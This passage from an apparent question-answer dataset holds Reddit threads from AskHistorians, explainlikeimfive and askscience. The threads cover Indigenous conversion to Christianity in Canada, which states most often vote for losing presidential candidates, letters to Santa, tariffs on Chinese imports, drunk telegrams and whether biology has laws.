strong \"traditional\" connections to the beliefs and spiritual guidelines of their community/Nation/tribe (such as believing in an inherent, intrinsic connection to nature, various levels of animism and a different belief in the hierarchy of nature, etc.).  \n\nSince European colonisation and the introduction of missionaries into North America, many Indigenous peoples have moved towards beliefs centered in Christianity or with strong Christian foundations. Missionaries and religious figures did not accompany the first Europeans to Canada, and there was generally little effort made to reconcile religious differences between Indigenous/European religious/spiritual belief systems. \n\nMissionaries (the first to arrive in Canada were Jesuit missionaries) were sent with an agenda, however, and quickly worked to incorporate Christian elements into traditional Indigenous spiritualities in the hopes of making the conversion process more successful (and long-lasting). Religious conversion is a tricky subject because it is difficult to actually account for how every individual, past and present, accepted Christian religions into their daily lives. Prior to the development of residential schools and other institutions governed by religious organisations, missionaries played a very significant role in converting Indigenous peoples to Christianity. There were different styles and methods of conversion (force, coercion, persuasion, positive reinforcement, education and acculturation, intimidation, etc.) and different reasons for Indigenous peoples to convert (genuine belief in the different religion, finding a likeness to their traditional spiritual beliefs, to improve social or economic  conditions, increase diplomacy, fear of the unknown, etc.). \n\nThough there was religious conversion prior to the development of what we now think of when we think about residential schools, these schools played a huge role in altering the spiritual and religious beliefs of Indigenous peoples in Canada. Religion was central to the civilisation process of Indigenous people, a process in which the British colonial government, Dominion government, and Government of Canada all desired to see happen, and happen quickly as the 20th century approached. Members of various Christian sects took charge of these schools and thus these religions became a critical part of the lives of many Indigenous children (often, as i'm sure you're aware, religious education was not just taught, but often strictly imposed while Indigenous traditional beliefs (spiritual or other beliefs) were severely repressed).  In essence, missionaries and residential schools played a major role in Indigenous conversion to Christian religions, but the origins of, reasons for, and degree of conversion are numerous and highly debatable. \n\nAs for the question regarding Jesus and the Creator, from what i've studied, the Creator has always been comparable with God, not Jesus.  Some Indigenous groups and cultures have incorporated elements of Christianity (such as the presence/figure of Jesus) into traditional creation stories or spiritual structures.  \n\nI hope this helps a little bit. Good luck with your essay!\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "12s2iq", "title": "Which state has the worst record of picking a president?", "selftext": "Political pundits during this election keep talking about how important the swing state of Ohio is and how it has picked the president every election since the 1960s.  Is there any state that has done the opposite and picked the losing candidate regularly? Ohio has a good record for picking the president, but which state has the best record for picking the loser?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/12s2iq/which_state_has_the_worst_record_of_picking_a/", "answers": {"a_id": ["c6xoqvu", "c6xos6w", "c6xpivk", "c6xqd2k", "c6xrtrj", "c6xtjvm", "c6xzyj1"], "score": [48, 353, 122, 8, 6, 3, 2], "text": ["This was in my American history class last year. There used to be a saying called \"As Maine goes, so goes the nation.\" Because up until 1936, whichever way Maine went was the party that won the election [mostly].\n\nThen 1936 happened. Maine voted Republican (against FDR in the era of the Great Depression). The only other state that voted Republican was Vermont, and so the phrase was jokingly changed to \"As Maine goes, so goes Vermont\" and the original phrase was not used anymore.", "Only one way to find out!  Brb 30 minutes.\n\nEDIT: Didn't realize data entry took so long, sorry for the delay.  All data is in (2012 Florida projection for Obama).\n\nI used data from [here](_URL_1_) and made a spreadsheet [here](_URL_0_).  Feel free to dig in and play with the numbers.  I can't promise 100% accuracy.\n\n**Results:**\n\n* Georgia, South Carolina, and Alabama tie for 24 total elections voting for the wrong candidate.\n\n* The District of Colombia has the worst percentage of picking candidates.  Their candidate loses 54% of the time.  Alabama is next closest with 51%\n\n* New Mexico has the best percentage of picking candidates.  Their candidate loses only 7.7% of the time!\n\n**Curiosities:**\n\n* States that voted 'wrong' in their first election are Tennessee (1796) Iowa (1848), Texas (1852), Idaho, Montana, North Dakota, South Dakota, Washington, Wyoming (all 1892) and Alaska (1960).  They all got their shit together, and now pick a winner  > 50% of the time.\n* Idaho and Montana voted wrong in their first three elections, then turned around and voted 'right' in their next 14!\n* By 1816, Connecticut and Delaware both had voted 'wrong' 62.5% of the time, stubbornly holding onto Federalist votes in an era of Democratic-Republican dominance.  If we remove the unopposed George Washington elections, their inaccuracy climbs to 83.3%  Yeesh.\n* From 1904 to 2004, Missouri only got one election 'wrong'.  That's 25/26!  They weren't accurate early though, and have a 26.5% failure rate overall.\n* From its first election in 1912 until 1976, New Mexico always picked a winner.  That's a 16 election streak, and I'm pretty sure the all time best.\n", "Best state actually appears to be New Mexico, which has only been wrong twice.  1976 and 2000.  24/26 overall (92.3%)\n\nWorst state is Alabama at 24/48 or (50%)  This excludes the 1864 election where they were not part of the United States, and thus did not vote.  Mississippi is right behind with 24/47.  And they both fall one more this year to be 24/49 and 24/48 respectfully.\n\nEdit: Worst before this election was actually DC with 6/13.  Now I'm sure 7/14.", "So if New Mexico is always the taste maker, why isn't more demographic research done there to tailor campaigns?", "I saw something on tv last night that was quite interesting. They said that Viggo Co. (in Indiana, I think) had correctly called the Presidency all but twice since 1880. That's impressive.", "My History Can Beat Up Your Politics just did (10/26/12) a podcast on this very subject. Excellent podcast.", "Thanks for the answers all. Sorry, if I accidentally implied that there was causation, I was just curious about the correlation.  And of course a swing state is a state that's \"too close to call,\" not the state that accurately predicts the president.  But according to news networks, Ohio seems to be a swing state and a presidential predictor, so I was curious.  It's interesting to know New Mexico has such an accurate record and Alabama's is near 50%.  Though I thought it would be hilarious if there was a state which had an even worse record, then again such a state would probably have attempted secession at numerous times by this point not just the once.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://docs.google.com/spreadsheet/ccc?key=0AsZUZCrEV5BMdDdvS2ROSE5aM2RHVjc1SWs5UU90Qnc", "http://en.wikipedia.org/wiki/List_of_United_States_presidential_election_results_by_state"], [], [], [], [], []]}
{"q_id": "5jr9uv", "title": "when children send letters to santa, where do those letters actually go to?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jr9uv/eli5_when_children_send_letters_to_santa_where_do/", "answers": {"a_id": ["dbib6dt", "dbib8jk", "dbie7ew", "dbiezjt", "dbippfd", "dbiwvn6", "dbixlsb"], "score": [21, 7, 6, 9, 2, 2, 8], "text": ["In the UK at Royal Mail, we have a dedicated department who reply to those letters.  \n\nStaff from those departments which are quieter at this time of year are seconded to the 'Santa Letter Department' and pretty much do some data entry for a month to fill in the blanks on the letters to Santa.", "In Canada they go to Canada Post, where employees answer back (as far as I know).", "There is an actual [Santa Claus House](_URL_1_) in [North Pole, Alaska](_URL_0_) that receives a lot of Santa mail.  Pretty cool to read about CA and UK postal employees answering back too :)", "The US Postal Service has something for this.\n\n_URL_0_\n\nBasically, have your kid write a letter and then you write the response from Santa and they'll deliver it with the North Pole postmark.\n\nAlso, a few places have someone to respond to letters.\n\n_URL_1_", "If I remember well, un France, you just have to post for \"P\u00e8re No\u00ebl, p\u00f4le Nord\" and a service of th\u00e9 French postal service (La Post) responding (or give 'em tout santa, if you prefer)", "Post office. They are in the stamp selling business after all. From there they go where they belong, in the dump with your dreams and wishes.", "A lot depends on to where/to whom the letters were addressed. Most of the time, letters to Santa end up at the local post office, where volunteers read and respond to them. Or, as /u/kevik72 mentioned, sometimes parents pre-write their own response. If someone writes a letter to Santa and deposits it in the red boxes at Macy's stores, they get forwarded to the local post office:\n > With the help of our friends at Make-A-Wish, we\u2019ll count up the letters and bring them to the Post Office to mail to Santa.\n\nOther interesting things may happen if the letter is addressed to specific places. Often times, when a child doesn't know the proper zip code for a letter to Santa, they'll write 12345. In that case, the letters may end up being delivered to the GE facility in Schenectady, New York, where they're read and responded to by employees [during their lunch breaks](_URL_0_).\n\nIn Canada, Santa actually has an official address, although I don't know for sure what happens to letters addressed there:\n > Santa Claus\nNorth Pole, Canada\nH0H 0H0\n\nSadly, some of the time, the letters are just ignored and/or destroyed, and the kids never receive a response. The Staten Island Advance [reports](_URL_1_) that:\n > \"Dear Santa\" letters are being shredded at post offices around the country -- and on Staten Island -- that have opted out of the traditional toy-giving program"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.northpolealaska.com/", "http://www.santaclaushouse.com/default.asp"], ["https://about.usps.com/holidaynews/letters-from-santa.htm", "https://about.usps.com/holidaynews/pdf/2016_op_santa_locations.pdf?20161129"], [], [], ["https://dailygazette.com/article/2015/12/16/santa-letters-ge-12345_wp", "http://www.silive.com/news/index.ssf/2009/12/dear_santa_letters_ending_up_i.html"]]}
{"q_id": "lzs9g", "title": "why doesn't the u.s. government just raise a tariff to counter businesses outsourcing to china?", "selftext": "According to this: _URL_0_\n\nTariffs used to be in the double digits, even peaking at 44% once.  Today it's between 1 and 2%  Why hasn't this been done?  It seems like a proven way to prevent outsourcing...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/lzs9g/eli5_why_doesnt_the_us_government_just_raise_a/", "answers": {"a_id": ["c2wx5hm", "c2wxazq", "c2wxk37", "c2wxuk1", "c2wxvk5", "c2wy3k5", "c2wyeve", "c2wynvt", "c2wzj56", "c2wx5hm", "c2wxazq", "c2wxk37", "c2wxuk1", "c2wxvk5", "c2wy3k5", "c2wyeve", "c2wynvt", "c2wzj56"], "score": [19, 2, 85, 2, 2, 7, 3, 3, 2, 19, 2, 85, 2, 2, 7, 3, 3, 2], "text": ["Because tariffs restrict free trade, which lowers consumption, hurts the consumer, results in retaliatory tariffs, and lowers GDP amongst other things.\n\n  ", "Tariffs can force prices to increase, and remove competitiveness.\n\ni.e. in Australia, we have a HUGE tariff on imported cars with the aim to make Australian-manufactured cars more price competitive. In fact it just increases the cost of all cars anyway.", "If we impose Tariffs on China, they will do something the US don't like.  Most likely stop buying US debt.  While china only holds 8% of US debt, this is significant.  If they stop buying debt, other investors will have to step in an buy it.  To get those investors to buy the debt, the US will have to start paying more interest.  Even a small increase in the interest rate could end up costing the US gov't billions of dollars.    \n\nNext, China would likely slap tariffs on US exports.  While this may seem like no big deal, China is the #3 market for US exports at over $90B a year.  Cutting into that $90B would hurt a lot of companies.  In fact, it might be counter productive.  If I read the tables right, it looks like exports to China are growing faster than imports from China, so the trade balance is closing on it own.  \n\nAfter China does what they can to hurt our economy, our people will be mad too.  Stuff is made in China because it's cheaper to make.  If it's cheaper, you can have more of them.  If it cost $50 to make an iPod in China, and $500 to make one in the US, people can buy a lot more Chinese made iPods than US made ones.  If Tariffs increase the cost of Chinese iPod to $500, then fewer people will be able to buy one.  Even though you have more jobs in the US, those 10K extra $10 an hour jobs won't be enough to improve the economy enough for everyone to buy $500 iPods.  People will get angry when the things they like to buys, and expect a lot of, they can no longer afford.  \n\nKeep in mind, it's not all labor cost.  It takes a lot of dangerous chemicals to make electronics and lot of other stuff.  In China, you can dump them into the river for free.  In the US, you have the EPA to deal with.  So, everything from office chairs to kids toys are just flat out more difficult to manufacture in the US so they will always cost more until China decides to regulate it's industry at the same level the US is.  \n\nFinally, just because something is made in the US again, doesn't mean the jobs will come back.  Years ago, the US put tariffs in place to help the US steel industry recover, and it worked.  Steel manufacturing came back to the US, but the jobs didn't.  Instead, the work was automated.  Where before you had a lot of low paid medium skilled workers making steel, now you have a few higher paid high skilled people running / designing / maintaining the machines.  This was a good thing for a lot of people, but it didn't really help those people that lost their jobs to the off shoring in the first place.  In America, labor cost 10 x more than it does in China.  So, the only way to build something for the same price is to drop the amount of labor needed by 90%.  Your proverbial 99% will be losing their jobs to machines instead of foreigners.  In reality, it will be the bottom 50% losing jobs, the top 35% (Engineers / skilled professional and trades people) who benefit , and the top 1% won't really notice   ", "Tariffs do have market effects, but also nowadays they are used as a sort of like economic war thing. You don't fuck around with it much if you can help it, you might want to read about this _URL_0_", "If we impose high tariffs on goods coming into the country, other countries will do the same, increasing American good prices in other countries, thus reducing the amount of money american companies make. Then counter-raises happen and everyone  can't buy anything. ", "A couple people have already provided the answer for why tariffs are bad, so I'll provide the opposite side to explain why we used to have higher tariffs.\n\nBack when American industry was still developing, if we'd had free trade and equal competition with British manufacturers, they would have driven our companies out of business.  They were decades ahead of our manufacturers in just about every aspect.  So in order to develop the manufacturing in this country, tariffs were imposted that would force the products from more developed manufacturers to sell their products at a higher price.  Even though they were still higher quality, the price difference meant more money going to American manufacturers, which meant more money for development and, eventually, the manufacturing juggernaut that we are, or at least were.\n\nThe downside: In the short term, higher prices for lower-quality goods.\n\nThe upside: In the long term, a highly developed, diversified, independent economy.\n\nObviously every single state in the world wants the latter, while there is always consumer pressure for lower prices.  But given that we now have a highly developed economy, we no longer have a need to have high tariffs, since our products are now the ones that are decades ahead of everyone else's.\n\nWhich is why we now push for free trade, even though tariffs helped us create ourselves as an economic juggernaut.", "After World War Two, the victors set up The General Agreement on Tariffs and Trade (GATT) which is an agreement that governs the international trade in goods.  The idea was to facilitate international trade, to speed up the rebuilding of countries after the war and by creating a reliance through fostered trade relations to prevent such wars occurring in the future.\n\nThe GATT evolved into the WTO which also has the ability to serve as a dispute resolution body between member countries in regards to trade issues (such as barriers to trade like tariffs).\n\nThe WTO has some rules that members follow, basically the Most Favoured Nation rule which states that a country should not discriminate against other member countries. (One cannot offer a favourable tariff to one member country and not another member countries).\n\nCountries have sort of gone around this though by creating Free Trade Agreements (FTA's) these allow more favourable tariffs with the members of the agreement. An example is NAFTA (North America Free Trade Agreement) which grants favourable trade conditions to Canada, the US  &  Mexico.\n\nInternational Trade is a really interesting topic, a good starting point for additional information is the World Trade Organisation (_URL_0_).", "they did this before the great depression in response to the stock market crash.  _URL_0_", "Because of what happened after the 1929 crash, the US introduced massive tariffs against European and Asian countries (and vice versa), trade ground to a halt, massive unemployment resulted all over the world, leading some nations to eventually find the only way to expand their economies- by invading other countries and taking their resources.\n\nNo one really wants that again. Massively hiking tariffs is not a proven way to prevent outsourcing- it will infact almost guarantee massive unemployment.", "Because tariffs restrict free trade, which lowers consumption, hurts the consumer, results in retaliatory tariffs, and lowers GDP amongst other things.\n\n  ", "Tariffs can force prices to increase, and remove competitiveness.\n\ni.e. in Australia, we have a HUGE tariff on imported cars with the aim to make Australian-manufactured cars more price competitive. In fact it just increases the cost of all cars anyway.", "If we impose Tariffs on China, they will do something the US don't like.  Most likely stop buying US debt.  While china only holds 8% of US debt, this is significant.  If they stop buying debt, other investors will have to step in an buy it.  To get those investors to buy the debt, the US will have to start paying more interest.  Even a small increase in the interest rate could end up costing the US gov't billions of dollars.    \n\nNext, China would likely slap tariffs on US exports.  While this may seem like no big deal, China is the #3 market for US exports at over $90B a year.  Cutting into that $90B would hurt a lot of companies.  In fact, it might be counter productive.  If I read the tables right, it looks like exports to China are growing faster than imports from China, so the trade balance is closing on it own.  \n\nAfter China does what they can to hurt our economy, our people will be mad too.  Stuff is made in China because it's cheaper to make.  If it's cheaper, you can have more of them.  If it cost $50 to make an iPod in China, and $500 to make one in the US, people can buy a lot more Chinese made iPods than US made ones.  If Tariffs increase the cost of Chinese iPod to $500, then fewer people will be able to buy one.  Even though you have more jobs in the US, those 10K extra $10 an hour jobs won't be enough to improve the economy enough for everyone to buy $500 iPods.  People will get angry when the things they like to buys, and expect a lot of, they can no longer afford.  \n\nKeep in mind, it's not all labor cost.  It takes a lot of dangerous chemicals to make electronics and lot of other stuff.  In China, you can dump them into the river for free.  In the US, you have the EPA to deal with.  So, everything from office chairs to kids toys are just flat out more difficult to manufacture in the US so they will always cost more until China decides to regulate it's industry at the same level the US is.  \n\nFinally, just because something is made in the US again, doesn't mean the jobs will come back.  Years ago, the US put tariffs in place to help the US steel industry recover, and it worked.  Steel manufacturing came back to the US, but the jobs didn't.  Instead, the work was automated.  Where before you had a lot of low paid medium skilled workers making steel, now you have a few higher paid high skilled people running / designing / maintaining the machines.  This was a good thing for a lot of people, but it didn't really help those people that lost their jobs to the off shoring in the first place.  In America, labor cost 10 x more than it does in China.  So, the only way to build something for the same price is to drop the amount of labor needed by 90%.  Your proverbial 99% will be losing their jobs to machines instead of foreigners.  In reality, it will be the bottom 50% losing jobs, the top 35% (Engineers / skilled professional and trades people) who benefit , and the top 1% won't really notice   ", "Tariffs do have market effects, but also nowadays they are used as a sort of like economic war thing. You don't fuck around with it much if you can help it, you might want to read about this _URL_0_", "If we impose high tariffs on goods coming into the country, other countries will do the same, increasing American good prices in other countries, thus reducing the amount of money american companies make. Then counter-raises happen and everyone  can't buy anything. ", "A couple people have already provided the answer for why tariffs are bad, so I'll provide the opposite side to explain why we used to have higher tariffs.\n\nBack when American industry was still developing, if we'd had free trade and equal competition with British manufacturers, they would have driven our companies out of business.  They were decades ahead of our manufacturers in just about every aspect.  So in order to develop the manufacturing in this country, tariffs were imposted that would force the products from more developed manufacturers to sell their products at a higher price.  Even though they were still higher quality, the price difference meant more money going to American manufacturers, which meant more money for development and, eventually, the manufacturing juggernaut that we are, or at least were.\n\nThe downside: In the short term, higher prices for lower-quality goods.\n\nThe upside: In the long term, a highly developed, diversified, independent economy.\n\nObviously every single state in the world wants the latter, while there is always consumer pressure for lower prices.  But given that we now have a highly developed economy, we no longer have a need to have high tariffs, since our products are now the ones that are decades ahead of everyone else's.\n\nWhich is why we now push for free trade, even though tariffs helped us create ourselves as an economic juggernaut.", "After World War Two, the victors set up The General Agreement on Tariffs and Trade (GATT) which is an agreement that governs the international trade in goods.  The idea was to facilitate international trade, to speed up the rebuilding of countries after the war and by creating a reliance through fostered trade relations to prevent such wars occurring in the future.\n\nThe GATT evolved into the WTO which also has the ability to serve as a dispute resolution body between member countries in regards to trade issues (such as barriers to trade like tariffs).\n\nThe WTO has some rules that members follow, basically the Most Favoured Nation rule which states that a country should not discriminate against other member countries. (One cannot offer a favourable tariff to one member country and not another member countries).\n\nCountries have sort of gone around this though by creating Free Trade Agreements (FTA's) these allow more favourable tariffs with the members of the agreement. An example is NAFTA (North America Free Trade Agreement) which grants favourable trade conditions to Canada, the US  &  Mexico.\n\nInternational Trade is a really interesting topic, a good starting point for additional information is the World Trade Organisation (_URL_0_).", "they did this before the great depression in response to the stock market crash.  _URL_0_", "Because of what happened after the 1929 crash, the US introduced massive tariffs against European and Asian countries (and vice versa), trade ground to a halt, massive unemployment resulted all over the world, leading some nations to eventually find the only way to expand their economies- by invading other countries and taking their resources.\n\nNo one really wants that again. Massively hiking tariffs is not a proven way to prevent outsourcing- it will infact almost guarantee massive unemployment."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Tariff"], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Chicken_tax"], [], [], ["http://en.wikipedia.org/wiki/World_Trade_Organization"], ["http://en.wikipedia.org/wiki/Smoot%E2%80%93Hawley_Tariff_Act#Retaliation"], [], [], [], [], ["http://en.wikipedia.org/wiki/Chicken_tax"], [], [], ["http://en.wikipedia.org/wiki/World_Trade_Organization"], ["http://en.wikipedia.org/wiki/Smoot%E2%80%93Hawley_Tariff_Act#Retaliation"], []]}
{"q_id": "2su41j", "title": "Is there any evidence of a drunk telegram, similar to the drunk texts that we all send and regret?", "selftext": "We've all been there... 3 am, you're a little drunk, and quite lonely, so you send a text to that not so special someone. \nIs there any evidence of one of these pre-cellphone era? Perhaps even a letter? Anything at all really.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2su41j/is_there_any_evidence_of_a_drunk_telegram_similar/", "answers": {"a_id": ["cnt0kuw", "cnt10e4", "cnt10u4", "cnt17nz", "cnt1886", "cnt727d"], "score": [833, 35, 540, 193, 97, 59], "text": ["In *Telegram!*, Linda Rosenkrantz writes about one from 1861, from Centreville Virginia:\n\n    PLEASE SEND US PIECE ARTILLERY FOR FEW DAYS ALL DRUNK HERE.\n\nUnfortunately, she does not provide a source for this - or even tell us whose side was requesting artillery while sloshed.", "I've not come across records of any telegrams that read like a drunk text myself, although tbh I haven't looked for them. However, Eamon de Valera\u2019s youngest son is quite well known for this statement regarding Churchill's 'now or never' telegram: \n\n >  Churchill was in very high spirits celebrating America's almost certain entry into the war. In fact, Father told me that Maffey told him that Churchill was intoxicated and was sending telegrams in all directions... he did not mince his words in describing Churchill as being 'drunk' on the night in question.\n\n_URL_0_", "You might be interested in some previous threads on regrettable pre-telephone communications:\n\n**Drunk or Prank Messages**\n\n* [Prior to the invention of the telephone, did people send \"prank telegrams\"? Were there ever any \"prank pigeon\" messages?](_URL_4_) - 95 comments, over 10 months old.\n * Not so strong sources, but lots of interesting examples.\n* [Before drunk texts, was there any history of drunk letters?](_URL_1_) - 8 comments, over 1 year old.\n * One of the comments draws a literary example of a regrettable letter from the late 1800s that you may find interesting.\n\n**Background**\n\n* [Was it common for the average citizen to know Morse code back when telegrams were still the main form of long distance communication?](_URL_0_) - 32 comments, over 1 month old.\n * Commenters in this thread draw on examples from period literature and also discuss how Morse code was learned and practiced.\n* [How was the identity of a telegram's sender proved? Did cases of 'identity theft' using the telegraph occur?](_URL_2_) - 27 comments, over 9 months old.\n * Using the Zimmerman Telegram as a famous example, one commenter in the thread talks about recovering identity via telegrams.\n* [How much did a telegram cost during the American Civil War, and can you put that price into context?](_URL_5_) - 121 comments, over 1 year old.\n * The topmost top comments were deleted for using poor sources and analysis, but comments below that by flaired users give both specific and general answers for the costs in Civil War America.\n* [Did people ever use \"ASCII art\" \\(or \"Morse art\"\\) in telegrams?](_URL_3_) - 1 comments, over 9 months old.\n * Only one answer, but it has some links for interested parties.", "It's only literary history but in Leo Tolstoy's 'Anna Karenina' (1873) Prince Oblonskey's wife laments about his habit of sending frivolous drunken messages by carriers late at night while he was out partying. I remember thinking it was the equivalent of drunk texting when I read it.\n", "As a side question I have heard that a drunken uboat commander sent out a happy Christmas message in multiple different codes. Now the British had cracked one or two of them, but not the others and having the merry xmas message enabled them to crack many more.\n\nI have tried and failed to find any sources for this, and I suspect its one of those tales that has no real origin. \n\nCould somebody possibly confirm or deny this. ", "One of the most famous telegrams in history, [sent from Khrushchev to Kennedy during the height of the Cuban Missile Crisis](_URL_1_), has been scrutinized by historians (and some historical actors) as possibly being sent by a drunk man. It is, at the very least, more emotional, and more personal than your typical Premier-to-President telegram. It was followed up by a very different, hasher, [more formal telegram the next day](_URL_0_) that proposed a quid pro quo removal of Soviet missiles in Cuba and US missiles in Turkey (which was taken up by the Kennedy administration, secretly). I don't know if Khrushchev was actually intoxicated when he dictated the first telegram, but he was certainly in a rather florid state of mind:\n\n >  _If you did this as the first step towards the unleashing of war, well then, it is evident that nothing else is left to us but to accept this challenge of yours. If, however, you have not lost your self-control and sensibly conceive what this might lead to, then, Mr. President, we and you ought not now to pull on the ends of the rope in which you have tied the knot of war, because the more the two of us pull, the tighter that knot will be tied. And a moment may come when that knot will be tied so tight that even he who tied it will not have the strength to untie it, and then it will be necessary to cut that knot, and what that would mean is not for me to explain to you, because you yourself understand perfectly of what terrible forces our countries dispose._"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.independent.ie/entertainment/books/memories-from-a-son-of-the-chief-25911921.html"], ["http://www.reddit.com/r/AskHistorians/comments/2nxru3/was_it_common_for_the_average_citizen_to_know/", "http://www.reddit.com/r/AskHistorians/comments/1lcu0q/before_drunk_texts_was_there_any_history_of_drunk/", "http://www.reddit.com/r/AskHistorians/comments/21bgbm/how_was_the_identity_of_a_telegrams_sender_proved/", "http://www.reddit.com/r/AskHistorians/comments/22n8e2/did_people_ever_use_ascii_art_or_morse_art_in/", "http://www.reddit.com/r/AskHistorians/comments/20oo8y/prior_to_the_invention_of_the_telephone_did/", "http://www.reddit.com/r/AskHistorians/comments/1egi00/how_much_did_a_telegram_cost_during_the_american/"], [], [], ["https://history.state.gov/historicaldocuments/frus1961-63v06/d66", "https://history.state.gov/historicaldocuments/frus1961-63v06/d65"]]}
{"q_id": "51podq", "title": "Are there any Laws of Biology?", "selftext": "Boyle's law is an example of a law of thermodynamics. \n\nHooke's law is an example of a law of physics.\n\nThe Pythagorean theorem can be described as a law of geometry.\n\nAre there any laws of biology? Or is the interaction of cells and molecules on a biological scale to complex to have specific laws?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/51podq/are_there_any_laws_of_biology/", "answers": {"a_id": ["d7dxdat", "d7dyes0", "d7e3359", "d7e3eq9", "d7e4gi5", "d7e5ada", "d7e7pnl", "d7e8s8u", "d7e91xk", "d7egi9g", "d7el9dl"], "score": [157, 17, 8, 290, 2, 4, 4, 2, 3, 3, 3], "text": ["Before showing some biological laws, I would like to point out the *scientific* definition of a law: \n\n >  In scientific jargon, law describes a true, absolute and unchanging relationship among interacting elements.^[1](_URL_2_)\n\nFor example, Boyle's law talks about the relationship between pressure and volume of an (i) ideal gas in an (ii)enclosure where the temperature remains constant; only under those circumstances the law remains still.\n\nBiology, in comparison to physics, chemistry and mathematics, has way fewer laws. The system that biology studies is harder to manipulate and to model -since biology isn't as reductable as physics or chesmitry, making biology a complex endeavor with way less laws, although there are [plenty of theories](_URL_3_) (which, in science, are well-documented explanations of some aspect of nature).\n\nHere's some laws from biology:\n\n* Mendel's laws or inheritance^[2](_URL_0_), with three postulates:\n\n (a) Law of segregation: Gametes only carry one allele per gene.\n\n (b) Law of dominance: Whenever a dominant allele is present, it will suppress the trait of the recessive allele.\n\n (c) Law of independent assortment: Genes segregate independently during gametogenesis.\n\n* Kleiber's law of metabolic scaling^[3](_URL_1_):\n\nThe metabolic rate of an animal (measured as kcal per day) is approx. the mass of the animal to the power of 3/4. \n\n* Hardy-Weinberg law (more commonly referred as \"principle\") of allele distribution:\n\nIf none of the evolutionary forces are affecting a population, the genotypic frequencies will remain constant.\n\n---\n\nReferences\n\n1. Dhar  &  Giuliani, 2009. Laws of biology: why so few?\n\n2. Mendel, 1865. Versuche \u00fcber Plflanzenhybriden (Experiments in Plant hybridization).\n\n3. Kleiber, 1932. Body size and metabolism.\n\n^^Edit: ^^minor ^^text ^^fixes.", "There are numerous biological laws. For example, [Mendel's three laws of inheritance](_URL_1_) generally describes some of the principles how genetic information is passed on and expressed, and the [all-or-none law](_URL_0_) which says that a nerve or muscle fiber will either respond completely to a stimulus or not at all. \n\nOne thing to keep in mind is that biology is basically made up of the more fundamental sciences, so things like Boyle's Law can be (and are) applicable to biological systems. Oftentimes they are only applicable to a very specific part of biology, but sometimes they are crucial to understanding biology in general. For example, the definition of life itself is closely tied to the second law of thermodynamics. ", "Gause's law states that two species competing for the same resource cannot coexist at constant population values, if other ecological factors remain constant. When one species has even the slightest advantage or edge over another then the one with the advantage will dominate in the long term.", "You asked my absolutely favorite question ever! \n\nIn short, no there are probably no biological laws (but that's ok!), but the reason why isn't evidently clear. I'll direct you to John Beatty's [Evolutionary Contingency Thesis](_URL_2_)\n\nIn short Beatty makes two arguments:\nPurported laws in biology are either not biological (they are mathematical, chemical, or physical laws in the context of biology e.g. biochemistry or biophysics) or they are biolgical but they're contingent matters of evolution, meaning they are not laws. This is because laws are generally defined as being absolute or universally true. For example some people have mentioned Mendel's laws of inheritance, but those laws aren't true for all organisms and more importantly they simply the result of contingent happenings of evolution without any natural necessity.\n\n Essentially these generalizations came about through evolutionary processes that could just have easily resulted in another generalization being true (sex ratios being 33/33/33 for example). This is important because again, laws are meant to capture some natural necessity in the world. For example, the statements \"All solid spheres of Uranium U235 have a diameter less than 100 meters\" and \"All spheres of gold have a diameter less than 100 meters\" are different types of statements. The first is true because of certain facts about the physical properties of Uranium (critical mass), the second is 'accidentally true' e.g. there's nothing making it necessarily true.\n\nSome people mentioned Hardy-Weinberg, which is an interesting case. Generally people have implicitly assumed that laws must be empirical (based on observation in the natural world) because that would be how we identify naturally necessary relationships. However, Hardy-Weinberg is an *a priori* mathematical equation that is true regardless of how we interpret 'p' and 'q'. (We could make a Hardy-Weinberg law of coin flipping for instance). There's debate over whether or not Hardy-Weinberg and other models count as laws ([Sober 1997](_URL_1_)) ([Elgin 2002](_URL_4_)) ([Elgin 2011](_URL_0_)) and others, but I don't think these arguments really work as they are essentially redefining what a law is. \n\nInstead we should juke and say that biology doesn't have laws, doesn't need laws, and instead works off of models (like hardy-weinberg or Lotka-Volterra, or Fisher's Fundamental Theorem, or Hamilton's Rule, etc). As a brief entry on models I'd look at Levin's [The Strategy of model building in population biology](_URL_3_)\n\nMore work has been done on this (especially the modeling part), but this is a good brief overview of a few decades of debate. I did my philosophy of biology thesis on this subject and find it absolute fascinating!", "Wolff's law, developed by the German anatomist and surgeon Julius Wolff (1836\u20131902) in the 19th century, states that bone in a healthy person or animal will adapt to the loads under which it is placed.\n\nMeans it gets denser with weight bearing, and less dense without loads being placed on it. ", "There are a lot of biochemical properties that absolutely follow laws as u/Pelusteriano describes them. \n\nFor example, the organization of lipids into cellular membranes, and the stability of protein folding are driven by principles behind [Gibbs free energy](_URL_4_).\n\nThe proteins that drive biologic reactions, enzymes, act as catylists for the reactions but still have to obey the laws of [chemical equilibrium](_URL_0_), and [Michaelis-Menten kinetics](_URL_3_).\n\nThe proteins that allow for passage of charged ions across our cell (and other) membranes known as \"ion channels\" follow [Ohm's law](_URL_1_), and the [Nernst Equilibrium](_URL_2_).\n\nThere are more. Biology follows the natural laws, but the systems tend to be much more complex so it is often difficult to see when looking at the macroscopic scale. ", "In life-as-we-know-it, Cell Theory (all living organisms are made of cells,the cell is the basic unit of structure and organization, cells arise from pre-existing cells) is probably as close as we get to a biological Law.\n", "I think Cell Theory is probably the closet you can get to a law, in biology", "Don't put too much stock in \"laws\". For example: Newton's \"laws\" of motion aren't actually \"laws\", they're just wrong (or, approximate). We know that there is a velocity dependence in all of these relations that Newton didn't account for.\n\nPeople who are alleging these things are \"absolutely\" or \"universally\" true are being disingenuous; like all other forms of knowledge, these things are \"absolute\" only because of our ignorance, and their status as \"laws\" is about their cultural position and nothing else.\n\nHappily, biology is a domain covering such a heterogeneous mess (life) that no one has attempted to formulate \"laws\" regarding it.\n\nThe closest thing you will find is the \"central dogma\", which says DNA - >  RNA - >  protein. But as soon as you state the \"central dogma\", three people in the room will pipe up to point out all the ways this dogma is violated by 